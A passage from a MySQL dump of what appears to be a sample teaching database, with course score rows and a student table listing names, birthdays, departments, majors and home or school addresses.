VALUES ('2007030417', 'a01 ', 93);INSERT INTO `sc` VALUES ('2007030417', 'a03 ', 87);INSERT INTO `sc` VALUES ('2007030417', 'c01 ', 88);INSERT INTO `sc` VALUES ('2007030417', 'c04 ', 84);INSERT INTO `sc` VALUES ('2007030418', 'a01 ', 94);INSERT INTO `sc` VALUES ('2007030418', 'a03 ', 83);INSERT INTO `sc` VALUES ('2007030418', 'c01 ', 66);INSERT INTO `sc` VALUES ('2007030418', 'c04 ', 79);INSERT INTO `sc` VALUES ('2007030419', 'a01 ', 95);INSERT INTO `sc` VALUES ('2007030419', 'a03 ', 83);INSERT INTO `sc` VALUES ('2007030419', 'c01 ', 91);INSERT INTO `sc` VALUES ('2007030419', 'c04 ', 94);INSERT INTO `sc` VALUES ('2007030420', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007030420', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007030420', 'c01 ', 98);INSERT INTO `sc` VALUES ('2007030420', 'c04 ', 98);INSERT INTO `sc` VALUES ('2007030421', 'a01 ', 90);INSERT INTO `sc` VALUES ('2007030421', 'a03 ', NULL);INSERT INTO `sc` VALUES ('2007030421', 'c01 ', 93);INSERT INTO `sc` VALUES ('2007030421', 'c04 ', 82);INSERT INTO `sc` VALUES ('2007030422', 'a01 ', 84);INSERT INTO `sc` VALUES ('2007030422', 'a03 ', 67);INSERT INTO `sc` VALUES ('2007030422', 'c01 ', 72);INSERT INTO `sc` VALUES ('2007030422', 'c04 ', 84);INSERT INTO `sc` VALUES ('2007030423', 'a01 ', 95);INSERT INTO `sc` VALUES ('2007030423', 'a03 ', 75);INSERT INTO `sc` VALUES ('2007030423', 'c01 ', 67);INSERT INTO `sc` VALUES ('2007030423', 'c04 ', 66);INSERT INTO `sc` VALUES ('2007030424', 'a01 ', 86);INSERT INTO `sc` VALUES ('2007030424', 'a03 ', 87);INSERT INTO `sc` VALUES ('2007030424', 'c01 ', 95);INSERT INTO `sc` VALUES ('2007030424', 'c04 ', 86);INSERT INTO `sc` VALUES ('2007030425', 'a01 ', 95);INSERT INTO `sc` VALUES ('2007030425', 'a03 ', 80);INSERT INTO `sc` VALUES ('2007030425', 'c01 ', 93);INSERT INTO `sc` VALUES ('2007030425', 'c04 ', 89);INSERT INTO `sc` VALUES ('2007030426', 'a01 ', 75);INSERT INTO `sc` VALUES ('2007030426', 'a03 ', 81);INSERT INTO `sc` VALUES ('2007030426', 'c01 ', 80);INSERT INTO `sc` VALUES ('2007030426', 'c04 ', 82);INSERT INTO `sc` VALUES ('2007030427', 'a01 ', 93);INSERT INTO `sc` VALUES ('2007030427', 'a03 ', 78);INSERT INTO `sc` VALUES ('2007030427', 'c01 ', 86);INSERT INTO `sc` VALUES ('2007030427', 'c04 ', 85);INSERT INTO `sc` VALUES ('2007030428', 'a01 ', 89);INSERT INTO `sc` VALUES ('2007030428', 'a03 ', 83);INSERT INTO `sc` VALUES ('2007030428', 'c01 ', 75);INSERT INTO `sc` VALUES ('2007030428', 'c04 ', 45);INSERT INTO `sc` VALUES ('2007030429', 'a01 ', 86);INSERT INTO `sc` VALUES ('2007030429', 'a03 ', 78);INSERT INTO `sc` VALUES ('2007030429', 'c01 ', 84);INSERT INTO `sc` VALUES ('2007030429', 'c04 ', 84);INSERT INTO `sc` VALUES ('2007030430', 'a01 ', 81);INSERT INTO `sc` VALUES ('2007030430', 'a03 ', 85);INSERT INTO `sc` VALUES ('2007030430', 'c01 ', 95);INSERT INTO `sc` VALUES ('2007030430', 'c04 ', 92);INSERT INTO `sc` VALUES ('2007030431', 'a01 ', 97);INSERT INTO `sc` VALUES ('2007030431', 'a03 ', 72);INSERT INTO `sc` VALUES ('2007030431', 'c01 ', NULL);INSERT INTO `sc` VALUES ('2007030431', 'c04 ', 71);INSERT INTO `sc` VALUES ('2007030432', 'a01 ', 84);INSERT INTO `sc` VALUES ('2007030432', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007030432', 'c01 ', 87);INSERT INTO `sc` VALUES ('2007030432', 'c04 ', 77);INSERT INTO `sc` VALUES ('2007030433', 'a01 ', 84);INSERT INTO `sc` VALUES ('2007030433', 'a03 ', 82);INSERT INTO `sc` VALUES ('2007030433', 'c01 ', 83);INSERT INTO `sc` VALUES ('2007030433', 'c04 ', 71);INSERT INTO `sc` VALUES ('2007030434', 'a01 ', 88);INSERT INTO `sc` VALUES ('2007030434', 'a03 ', 82);INSERT INTO `sc` VALUES ('2007030434', 'c01 ', 95);INSERT INTO `sc` VALUES ('2007030434', 'c04 ', 86);INSERT INTO `sc` VALUES ('2007030435', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007030435', 'a03 ', 62);INSERT INTO `sc` VALUES ('2007030435', 'c01 ', 55);INSERT INTO `sc` VALUES ('2007030435', 'c04 ', 77);INSERT INTO `sc` VALUES ('2007030436', 'a01 ', 88);INSERT INTO `sc` VALUES ('2007030436', 'a03 ', 95);INSERT INTO `sc` VALUES ('2007030436', 'c01 ', 96);INSERT INTO `sc` VALUES ('2007030436', 'c04 ', 99);INSERT INTO `sc` VALUES ('2007030437', 'a01 ', 80);INSERT INTO `sc` VALUES ('2007030437', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007030437', 'c01 ', 80);INSERT INTO `sc` VALUES ('2007030437', 'c04 ', 68);INSERT INTO `sc` VALUES ('2007030438', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007030438', 'a03 ', 80);INSERT INTO `sc` VALUES ('2007030438', 'c01 ', 60);INSERT INTO `sc` VALUES ('2007030438', 'c04 ', 90);INSERT INTO `sc` VALUES ('2007030439', 'a01 ', 60);INSERT INTO `sc` VALUES ('2007030439', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007030439', 'c01 ', 97);INSERT INTO `sc` VALUES ('2007030439', 'c04 ', 98);INSERT INTO `sc` VALUES ('2007030440', 'a01 ', 80);INSERT INTO `sc` VALUES ('2007030440', 'a03 ', 83);INSERT INTO `sc` VALUES ('2007030440', 'c01 ', 96);INSERT INTO `sc` VALUES ('2007030440', 'c04 ', 90);INSERT INTO `sc` VALUES ('2007030441', 'a01 ', 82);INSERT INTO `sc` VALUES ('2007030441', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007030441', 'c01 ', 94);INSERT INTO `sc` VALUES ('2007030441', 'c04 ', 86);INSERT INTO `sc` VALUES ('2007030442', 'a01 ', 72);INSERT INTO `sc` VALUES ('2007030442', 'a03 ', 65);INSERT INTO `sc` VALUES ('2007030442', 'c01 ', 66);INSERT INTO `sc` VALUES ('2007030442', 'c04 ', 48);INSERT INTO `sc` VALUES ('2007030443', 'a01 ', 72);INSERT INTO `sc` VALUES ('2007030443', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007030443', 'c01 ', 87);INSERT INTO `sc` VALUES ('2007030443', 'c04 ', 92);INSERT INTO `sc` VALUES ('2007030444', 'a01 ', 62);INSERT INTO `sc` VALUES ('2007030444', 'a03 ', 85);INSERT INTO `sc` VALUES ('2007030444', 'c01 ', 95);INSERT INTO `sc` VALUES ('2007030444', 'c04 ', 96);INSERT INTO `sc` VALUES ('2007030445', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007030445', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007030445', 'c01 ', 83);INSERT INTO `sc` VALUES ('2007030445', 'c04 ', 73);INSERT INTO `sc` VALUES ('2007030446', 'a01 ', 67);INSERT INTO `sc` VALUES ('2007030446', 'a03 ', 76);INSERT INTO `sc` VALUES ('2007030446', 'c01 ', 83);INSERT INTO `sc` VALUES ('2007030446', 'c04 ', 87);INSERT INTO `sc` VALUES ('2007030447', 'a01 ', 66);INSERT INTO `sc` VALUES ('2007030447', 'a03 ', 68);INSERT INTO `sc` VALUES ('2007030447', 'c01 ', 84);INSERT INTO `sc` VALUES ('2007030447', 'c04 ', 78);-- ------------------------------ Table structure for student-- ----------------------------DROP TABLE IF EXISTS `student`;CREATE TABLE `student` ( `sno` varchar(10) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `sname` varchar(8) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `ssex` varchar(2) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `sbirthday` date NULL DEFAULT NULL, `classno` varchar(8) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `sdept` varchar(16) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `speciality` varchar(16) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `saddress` longtext CHARACTER SET utf8 COLLATE utf8_general_ci NULL, PRIMARY KEY (`sno`) USING BTREE) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of student-- ----------------------------INSERT INTO `student` VALUES ('2007010101', '于晓梅', '男', '1987-03-07', '20070101', '电子工程系 ', '电子应用技术 ', '潍坊临朐县临朐县七贤镇北朱村');INSERT INTO `student` VALUES ('2007010103', '李洪利 ', '男', '1988-10-01', '20070101', '电子工程系 ', '电子应用技术 ', '枣庄市中区第十八中学');INSERT INTO `student` VALUES ('2007010104', '邓杰杰 ', '男', '1987-06-01', '20070101', '电子工程系 ', '电子应用技术 ', '烟台莱州市朱桥镇下王村');INSERT INTO `student` VALUES ('2007010105', '高尚 ', '男', '1987-06-06', '20070101', '电子工程系 ', '电子应用技术 ', '河南省禹州市第二高级中学');INSERT INTO `student` VALUES ('2007010106', '孙小玲 ', '女', '1988-12-29', '20070101', '电子工程系 ', '电子应用技术 ', '枣庄山亭区山城街道东江村');INSERT INTO `student` VALUES ('2007010107', '张旭光 ', '男', '1987-08-12', '20070101', '电子工程系 ', '电子应用技术 ', '吉林省磐石市第五中学');INSERT INTO `student` VALUES ('2007010108', '张玉忠 ', '男', '1988-10-09', '20070101', '电子工程系 ', '电子应用技术 ', '聊城阳谷县城关镇张楼村');INSERT INTO `student` VALUES ('2007010109', '孟晓楠 ', '女', '1988-06-14', '20070101', '电子工程系 ', '电子应用技术 ', '潍坊奎文区潍坊市委党校家属院');INSERT INTO `student` VALUES ('2007010110', '王佳丽 ', '女', '1987-10-14', '20070101', '电子工程系 ', '电子应用技术 ', '青岛莱西市姜山镇兴隆庄');INSERT INTO `student` VALUES ('2007010111', '亓敏敏 ', '男', '1988-10-22', '20070101', '电子工程系 ', '电子应用技术 ', '济宁嘉祥县老僧堂乡南杜村858号');INSERT INTO `student` VALUES ('2007010112', '舒畅 ', '男', '1989-06-25', '20070101', '电子工程系 ', '电子应用技术 ', '江苏省徐州市贾汪中学');INSERT INTO `student` VALUES ('2007010113', '樊亮亮 ', '男', '1987-10-22', '20070101', '电子工程系 ', '电子应用技术 ', '菏泽牡丹区菏泽三中高三级部');INSERT INTO `student` VALUES ('2007010114', '孟超超 ', '男', '1988-11-18', '20070101', '电子工程系 ', '电子应用技术 ', '潍坊诸城市诸城市第六中学');INSERT INTO `student` VALUES ('2007010115', '周小游 ', '女', '1905-06-14', '20070101', '电子工程系 ', '电子应用技术 ', '辽宁省锦州市北镇市第三高级中学');INSERT INTO `student` VALUES ('2007010116', '庞建国 ', '男', '1986-04-06', '20070101', '电子工程系 ', '电子应用技术 ', '济宁汶上县郭楼镇郝营村8354号');INSERT INTO `student` VALUES ('2007010117', '范伟伟', '女', '1989-08-01', '20070101', '电子工程系 ', '电子应用技术 ', '菏泽曹县孙老家镇西村');INSERT INTO `student` VALUES ('2007010118', '李秀娟 ', '女', '1988-10-19', '20070101', '电子工程系 ', '电子应用技术 ', '青岛胶州市常州路9668号');INSERT INTO `student` VALUES ('2007010119', '何金羽 ', '男', '1905-06-14', '20070101', '电子工程系 ', '电子应用技术 ', '辽宁省铁岭市教师进修学院附属高级中学');INSERT INTO `student` VALUES ('2007010120', '胡强 ', '男', '1984-12-19', '20070101', '电子工程系 ', '电子应用技术 ', '德州庆云县严务乡大淀村');INSERT INTO `student` VALUES ('2007010121', '胡小兵 ', '男', '1988-12-24', '20070101', '电子工程系 ', '电子应用技术 ', '淄博桓台县淄博市桓台县田庄镇胡东村');INSERT INTO `student` VALUES ('2007010122', '赵丽莉 ', '女', '1987-02-06', '20070101', '电子工程系 ', '电子应用技术 ', '江苏省睢宁县古邳镇骑河村钦庄6203号');INSERT INTO `student` VALUES ('2007010123', '王资超 ', '男', '1988-01-20', '20070101', '电子工程系 ', '电子应用技术 ', '菏泽曹县郑庄乡谢道口村');INSERT INTO `student` VALUES ('2007010124', '徐新梅 ', '女', '1986-05-30', '20070101', '电子工程系 ', '电子应用技术 ', '德州陵县梅镇李官屯村');INSERT INTO `student` VALUES ('2007010125', '郭新华 ', '男', '1988-08-14', '20070101', '电子工程系 ', '电子应用技术 ', '潍坊安丘市大盛镇上马疃村');INSERT INTO `student` VALUES ('2007010126', '东雷', '男', '1988-04-18', '20070101', '电子工程系 ', '电子应用技术 ', '潍坊青州市何官镇张高村');INSERT INTO `student` VALUES ('2007010127', '董晓彬 ', '男', '1985-10-06', '20070101', '电子工程系 ', '电子应用技术 ', '潍坊青州市山东省青州第二中学');INSERT INTO `student` VALUES ('2007010128', '李建', '男', '1987-11-05', '20070101', '电子工程系 ', '电子应用技术 ', '济宁汶上县杨店乡韩街村994号');INSERT INTO `student` VALUES ('2007010129', '张蕾', '女', '1988-03-10', '20070101', '电子工程系 ', '电子应用技术 ', '临沂河东区一中');INSERT INTO `student` VALUES ('2007010130', '潘东阳', '男', '1988-09-25', '20070101', '电子工程系 ', '电子应用技术 ', '山西省昔阳县李家庄乡胡峪村');INSERT INTO `student` VALUES ('2007010131', '孙晓萍 ', '女', '1989-07-23', '20070101', '电子工程系 ', '电子应用技术 ', '吉林省敦化市实验中学分校三年八班');INSERT INTO `student` VALUES ('2007020101', '李志超 ', '男', '1987-11-27', '20070201', '计算机工程系 ', '计算机应用技术 ', '威海乳山市乳山寨东司马庄村 ');INSERT INTO `student` VALUES ('2007020102', '张栋栋 ', '男', '1989-03-03', '20070201', '计算机工程系 ', '计算机应用技术 ', '青岛胶州市实验中学 ');INSERT INTO `student` VALUES ('2007020103', '孔超 ', '男', '1987-10-15', '20070201', '计算机工程系 ', '计算机应用技术 ', '日照东港区山东省日照第二中学 ');INSERT INTO `student` VALUES ('2007020104', '王志文 ', '男', '1986-07-23', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂莒南县涝坡镇王鸡山村 ');INSERT INTO `student` VALUES ('2007020105', '孙丽伟 ', '女', '1988-12-08', '20070201', '计算机工程系 ', '计算机应用技术 ', '潍坊昌邑市昌邑市第二中学 ');INSERT INTO `student` VALUES ('2007020106', '沈欢欢 ', '女', '1988-07-02', '20070201', '计算机工程系 ', '计算机应用技术 ', '河南省扶沟县第二高级中学 ');INSERT INTO `student` VALUES ('2007020107', '王丽丽 ', '女', '1989-06-14', '20070201', '计算机工程系 ', '计算机应用技术 ', '菏泽曹县曹城镇南关村 ');INSERT INTO `student` VALUES ('2007020108', '付宇欣 ', '女', '1988-11-24', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂兰山区清河南路801南郊中学 ');INSERT INTO `student` VALUES ('2007020109', '李晓倩', '女', '1987-12-23', '20070201', '计算机工程系 ', '计算机应用技术 ', '青岛市北区阳信路2号11中 ');INSERT INTO `student` VALUES ('2007020110', '张娟娟 ', '女', '1987-03-24', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂沂南县沂南二中二分校');INSERT INTO `student` VALUES ('2007020111', '王明明 ', '男', '1987-07-26', '20070201', '计算机工程系 ', '计算机应用技术 ', '菏泽曹县韩集镇井王村 ');INSERT INTO `student` VALUES ('2007020112', '王金鹏 ', '男', '1989-09-17', '20070201', '计算机工程系 ', '计算机应用技术 ', '聊城莘县实验高中 ');INSERT INTO `student` VALUES ('2007020113', '张聪 ', '男', '1988-08-18', '20070201', '计算机工程系 ', '计算机应用技术 ', '青岛即墨市第四中学 ');INSERT INTO `student` VALUES ('2007020114', '赵子龙 ', '男', '1988-11-05', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂临沭县蛟龙镇前利城村9276号 ');INSERT INTO `student` VALUES ('2007020115', '刘兵 ', '男', '1987-11-18', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂蒙阴县桃曲镇黄土沟村 ');INSERT INTO `student` VALUES ('2007020116', '李蕾 ', '女', '1988-03-20', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂蒙阴县蒙阴镇会泉峪村 ');INSERT INTO `student` VALUES ('2007020117', '刘小军 ', '男', '1989-12-10', '20070201', '计算机工程系 ', '计算机应用技术 ', '济宁微山县农业银行');INSERT INTO `student` VALUES ('2007020118', '赵彬彬 ', '男', '1989-01-19', '20070201', '计算机工程系 ', '计算机应用技术 ', '聊城东昌府鑫亚公司综合楼 ');INSERT INTO `student` VALUES ('2007020119', '王朋朋 ', '男', '1988-01-08', '20070201', '计算机工程系 ', '计算机应用技术 ', '枣庄山亭区山城办大荒村');INSERT INTO `student` VALUES ('2007020120', '孙彬双 ', '男', '1987-04-26', '20070201', '计算机工程系 ', '计算机应用技术 ', '烟台海阳市发城镇发城村9123号 ');INSERT INTO `student` VALUES ('2007020121', '闫刚 ', '男', '1988-06-26', '20070201', '计算机工程系 ', '计算机应用技术 ', '菏泽曹县魏湾镇闫楼村 ');INSERT INTO `student` VALUES ('2007020122', '宋丽杰 ', '女', '1988-11-10', '20070201', '计算机工程系 ', '计算机应用技术 ', '青岛城阳区明阳路260号 ');INSERT INTO `student` VALUES ('2007020123', '李庆春 ', '男', '1988-09-03', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂莒南县朱芦镇张家茅墩村 ');INSERT INTO `student` VALUES ('2007020124', '吴晓梅 ', '女', '1982-07-19', '20070201', '计算机工程系 ', '计算机应用技术 ', '菏泽单县终兴镇北常集东村 ');INSERT INTO `student` VALUES ('2007020125', '赵梦薇 ', '女', '1988-04-30', '20070201', '计算机工程系 ', '计算机应用技术 ', '威海荣成市宁津街道办事处季家村888号 ');INSERT INTO `student` VALUES ('2007020126', '苏明明 ', '女', '1988-08-24', '20070201', '计算机工程系 ', '计算机应用技术 ', '聊城莘县明天中学 ');INSERT INTO `student` VALUES ('2007020127', '许军浩', '男', '1987-02-12', '20070201', '计算机工程系 ', '计算机应用技术 ', '威海乳山市育黎镇王母夼村 ');INSERT INTO `student` VALUES ('2007020128', '董丽丽', '女', '1988-10-03', '20070201', '计算机工程系 ', '计算机应用技术 ', '潍坊青州市青州烟厂沿街楼三单元 ');INSERT INTO `student` VALUES ('2007020129', '荀小燕', '女', '1989-09-16', '20070201', '计算机工程系 ', '计算机应用技术 ', '枣庄枣庄十八中 ');INSERT INTO `student` VALUES ('2007020130', '平丽娜', '女', '1988-06-27', '20070201', '计算机工程系 ', '计算机应用技术 ', '日照五莲县叩官中学 ');INSERT INTO `student` VALUES ('2007020131', '时晓光', '女', '1989-12-13', '20070201', '计算机工程系 ', '计算机应用技术 ', '枣庄滕州市鲍沟镇河崖村 ');INSERT INTO `student` VALUES ('2007020132', '安丽艳', '女', '1987-08-22', '20070201', '计算机工程系 ', '计算机应用技术 ', '驻马店市第四高级中学 ');INSERT INTO `student` VALUES ('2007020133', '杨玲', '男', '1990-06-14', '20070201', '计算机工程系 ', '计算机应用技术 ', '菏泽牡丹区仓房居委会 ');INSERT INTO `student` VALUES ('2007020134', '杨霞霞', '女', '1988-01-19', '20070201', '计算机工程系 ', '计算机应用技术 ', '潍坊潍城区福寿街西首潍坊七中 ');INSERT INTO `student` VALUES ('2007020135', '安浩', '男', '1988-11-27', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂沂南县马牧池乡张家峪子 ');INSERT INTO `student` VALUES ('2007020136', '秦辉', '男', '1987-08-02', '20070201', '计算机工程系 ', '计算机应用技术 ', '济宁金乡县化雨乡冯海村 ');INSERT INTO `student` VALUES ('2007020137', '孟敏敏', '男', '1987-11-29', '20070201', '计算机工程系 ', '计算机应用技术 ', '济宁微山县鲁桥镇鲁桥二村 ');INSERT INTO `student` VALUES ('2007020138', '安海明', '男', '1988-01-09', '20070201', '计算机工程系 ', '计算机应用技术 ', '威海文登市泽头镇林村 ');INSERT INTO `student` VALUES ('2007020139', '时光', '女', '1988-06-19', '20070201', '计算机工程系 ', '计算机应用技术 ', '聊城东昌府许营乡崔官屯村 ');INSERT INTO `student` VALUES ('2007020140', '赵丽莉', '女', '1988-01-10', '20070201', '计算机工程系 ', '计算机应用技术 ', '威海乳山市冯家镇南寨村 ');INSERT INTO `student` VALUES ('2007020141', '胡敏婕 ', '男', '1987-07-31', '20070201', '计算机工程系 ', '计算机应用技术 ', '日照东港区日照一中东校高三二部 ');INSERT INTO `student` VALUES ('2007020142', '赵健', '男', '1988-06-06', '20070201', '计算机工程系 ', '计算机应用技术 ', '泰安新泰市新泰二中 ');INSERT INTO `student` VALUES ('2007020143', '张琦', '男', '1988-05-16', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂蒙阴县旧寨乡北楼村 ');INSERT INTO `student` VALUES ('2007020144', '唐晓东', '男', '1988-05-16', '20070201', '计算机工程系 ', '计算机应用技术 ', '潍坊青州市青州市普通镇钟家庄8861 ');INSERT INTO `student` VALUES ('2007020145', '苏梦丽', '女', '1988-12-17', '20070201', '计算机工程系 ', '计算机应用技术 ', '枣庄滕州市姜屯镇前徐村 ');INSERT INTO `student` VALUES ('2007020146', '董晓刚', '男', '1988-12-15', '20070201', '计算机工程系 ', '计算机应用技术 ', '青岛开发区钱塘江路9366号 ');INSERT INTO `student` VALUES ('2007020147', '斐浩', '男', '1988-06-06', '20070201', '计算机工程系 ', '计算机应用技术 ', '东营垦利县垦利一中 ');INSERT INTO `student` VALUES ('2007020148', '安静', '女', '1989-02-07', '20070201', '计算机工程系 ', '计算机应用技术 ', '菏泽牡丹区马岭岗镇谢集村021号 ');INSERT INTO `student` VALUES ('2007020149', '谢丽丽', '女', '1988-08-19', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂平邑县白彦镇黄坡东村 ');INSERT INTO `student` VALUES ('2007020150', '魏亚男 ', '女', '1988-04-09', '20070201', '计算机工程系 ', '计算机应用技术 ', '枣庄市中区十六中北校 ');INSERT INTO `student` VALUES ('2007020151', '魏薇 ', '女', '1987-10-07', '20070201', '计算机工程系 ', '计算机应用技术 ', '淄博沂源县张家坡镇北店子村 ');INSERT INTO `student` VALUES ('2007030101', '张小米', '女', '1987-10-20', '20070301', '软件工程系 ', '计算机网络技术 ', '聊城高唐县一中');INSERT INTO `student` VALUES ('2007030103', '马大哈', '男', '1988-02-10', '20070301', '软件工程系 ', '计算机网络技术 ', '临沂费县胡阳镇徕庄村');INSERT INTO `student` VALUES ('2007030104', '王金梅', '女', '1987-12-15', '20070301', '软件工程系 ', '计算机网络技术 ', '济宁邹城市城前镇民安村96号');INSERT INTO `student` VALUES ('2007030105', '曾刚', '男', '1987-09-27', '20070301', '软件工程系 ', '计算机网络技术 ', '潍坊奎文区工福街宝利家园');INSERT INTO `student` VALUES ('2007030106', '王晓姝', '女', '1988-06-28', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛城阳区棘洪滩街道港北村134号');INSERT INTO `student` VALUES ('2007030107', '张涛', '男', '1988-10-11', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛莱西市职业中专');INSERT INTO `student` VALUES ('2007030108', '李金栋', '男', '1989-08-08', '20070301', '软件工程系 ', '计算机网络技术 ', '日照莒县第二中学');INSERT INTO `student` VALUES ('2007030109', '张鑫', '男', '1990-01-14', '20070301', '软件工程系 ', '计算机网络技术 ', '济南平阴县一中东校理十五班');INSERT INTO `student` VALUES ('2007030110', '吕丽', '女', '1989-07-04', '20070301', '软件工程系 ', '计算机网络技术 ', '枣庄薛城区张范镇田庄村');INSERT INTO `student` VALUES ('2007030111', '张坤坤', '男', '1987-09-23', '20070301', '软件工程系 ', '计算机网络技术 ', '聊城东昌府山东聊城第二中学');INSERT INTO `student` VALUES ('2007030112', '付杰英', '男', '1990-02-28', '20070301', '软件工程系 ', '计算机网络技术 ', '泰安岱岳区泰安三中北校');INSERT INTO `student` VALUES ('2007030113', '孟璇', '女', '1989-09-02', '20070301', '软件工程系 ', '计算机网络技术 ', '菏泽单县浮岗镇石老家村');INSERT INTO `student` VALUES ('2007030114', '宋洋洋', '男', '1989-05-22', '20070301', '软件工程系 ', '计算机网络技术 ', '临沂莒南县团林镇前沙沟');INSERT INTO `student` VALUES ('2007030115', '杨小冰', '男', '1989-08-10', '20070301', '软件工程系 ', '计算机网络技术 ', '济宁汶上县汶上镇花园村路406号');INSERT INTO `student` VALUES ('2007030116', '董军军', '男', '1987-11-11', '20070301', '软件工程系 ', '计算机网络技术 ', '聊城东阿县妇联');INSERT INTO `student` VALUES ('2007030117', '赵文斌', '男', '1988-08-25', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛莱西市职业中专');INSERT INTO `student` VALUES ('2007030118', '苏美丽', '女', '1988-07-10', '20070301', '软件工程系 ', '计算机网络技术 ', '菏泽东明县长兴乡安庄村');INSERT INTO `student` VALUES ('2007030119', '李明明', '女', '1988-09-12', '20070301', '软件工程系 ', '计算机网络技术 ', '德州德城区月亮潭小区');INSERT INTO `student` VALUES ('2007030120', '何美美 ', '女', '1988-05-16', '20070301', '软件工程系 ', '计算机网络技术 ', '临沂河东区蒙凌学校');INSERT INTO `student` VALUES ('2007030121', '谷文秀', '女', '1989-01-05', '20070301', '软件工程系 ', '计算机网络技术 ', '山西省长治北工行西家属院');INSERT INTO `student` VALUES ('2007030122', '李建国', '男', '1988-06-12', '20070301', '软件工程系 ', '计算机网络技术 ', '菏泽巨野县董官屯镇义和庄');INSERT INTO `student` VALUES ('2007030123', '唐英杰', '男', '1989-12-04', '20070301', '软件工程系 ', '计算机网络技术 ', '临沂平邑县地方镇小宋家庄村');INSERT INTO `student` VALUES ('2007030124', '孟冰', '男', '1987-11-06', '20070301', '软件工程系 ', '计算机网络技术 ', '济南济阳县济阳一中');INSERT INTO `student` VALUES ('2007030125', '张晓琦 ', '男', '1988-10-14', '20070301', '软件工程系 ', '计算机网络技术 ', '德州夏津县文化路人行家属院');INSERT INTO `student` VALUES ('2007030126', '张明磊 ', '男', '1989-05-12', '20070301', '软件工程系 ', '计算机网络技术 ', '潍坊昌乐县昌乐一中');INSERT INTO `student` VALUES ('2007030127', '孙龙龙', '男', '1988-11-20', '20070301', '软件工程系 ', '计算机网络技术 ', '临沂罗庄区盛庄办事处尚屯村');INSERT INTO `student` VALUES ('2007030128', '闫秀梅', '女', '1987-09-16', '20070301', '软件工程系 ', '计算机网络技术 ', '德州临邑县德平镇碱李村');INSERT INTO `student` VALUES ('2007030129', '唐小英', '女', '1988-05-27', '20070301', '软件工程系 ', '计算机网络技术 ', '河南省范县濮城镇罗楼村');INSERT INTO `student` VALUES ('2007030130', '赵超超', '男', '1988-02-27', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛市北区镇江路27号志成中学');INSERT INTO `student` VALUES ('2007030131', '徐庆明', '男', '1988-11-27', '20070301', '软件工程系 ', '计算机网络技术 ', '潍坊青州市青州市第一职业中专');INSERT INTO `student` VALUES ('2007030132', '安洁', '男', '1990-11-07', '20070301', '软件工程系 ', '计算机网络技术 ', '烟台蓬莱市第三干休所9907室');INSERT INTO `student` VALUES ('2007030133', '许立伟', '女', '1987-07-22', '20070301', '软件工程系 ', '计算机网络技术 ', '滨州无棣县水湾镇潘家村');INSERT INTO `student` VALUES ('2007030134', '安华', '女', '1990-03-06', '20070301', '软件工程系 ', '计算机网络技术 ', '济宁任城区喻屯镇孟庄村');INSERT INTO `student` VALUES ('2007030135', '葛强强', '男', '1989-01-03', '20070301', '软件工程系 ', '计算机网络技术 ', '烟台海阳市小纪镇望宿村');INSERT INTO `student` VALUES ('2007030136', '董晓玲', '女', '1989-04-18', '20070301', '软件工程系 ', '计算机网络技术 ', '威海荣成市石岛镇姜家疃村大队');INSERT INTO `student` VALUES ('2007030137', '谷芸', '女', '1987-04-04', '20070301', '软件工程系 ', '计算机网络技术 ', '菏泽单县职业中专');INSERT INTO `student` VALUES ('2007030138', '赵帅帅', '男', '1989-02-03', '20070301', '软件工程系 ', '计算机网络技术 ', '泰安岱岳区泰安四中');INSERT INTO `student` VALUES ('2007030139', '李琳琳', '女', '1989-03-15', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛胶南市胶南电子学校');INSERT INTO `student` VALUES ('2007030140', '时小娇', '女', '1988-09-25', '20070301', '软件工程系 ', '计算机网络技术 ', '菏泽东明县陆圈镇郝桥村');INSERT INTO `student` VALUES ('2007030141', '宋静静', '女', '1989-02-07', '20070301', '软件工程系 ', '计算机网络技术 ', '临沂莒南县十字路园丁花园');INSERT INTO `student` VALUES ('2007030142', '原野', '男', '1989-06-04', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛李沧区京口路78号');INSERT INTO `student` VALUES ('2007030143', '秦凯亮', '男', '1988-05-13', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛市北区青城路');INSERT INTO `student` VALUES ('2007030144', '张鹏', '男', '1989-03-28', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛胶南市胶南电子学校');INSERT INTO `student` VALUES ('2007030145', '高小花', '女', '1986-06-26', '20070301', '软件工程系 ', '计算机网络技术 ', '济宁嘉祥县纸坊镇后吕村');INSERT INTO `student` VALUES ('2007030146', '吕亭亭', '男', '1988-03-15', '20070301', '软件工程系 ', '计算机网络技术 ', '山西左云星源中学');INSERT INTO `student` VALUES ('2007030147', '安晓东', '男', '1905-06-14', '20070301', '软件工程系 ', '计算机网络技术 ', '德州陵县边临镇西魏村');INSERT INTO `student` VALUES 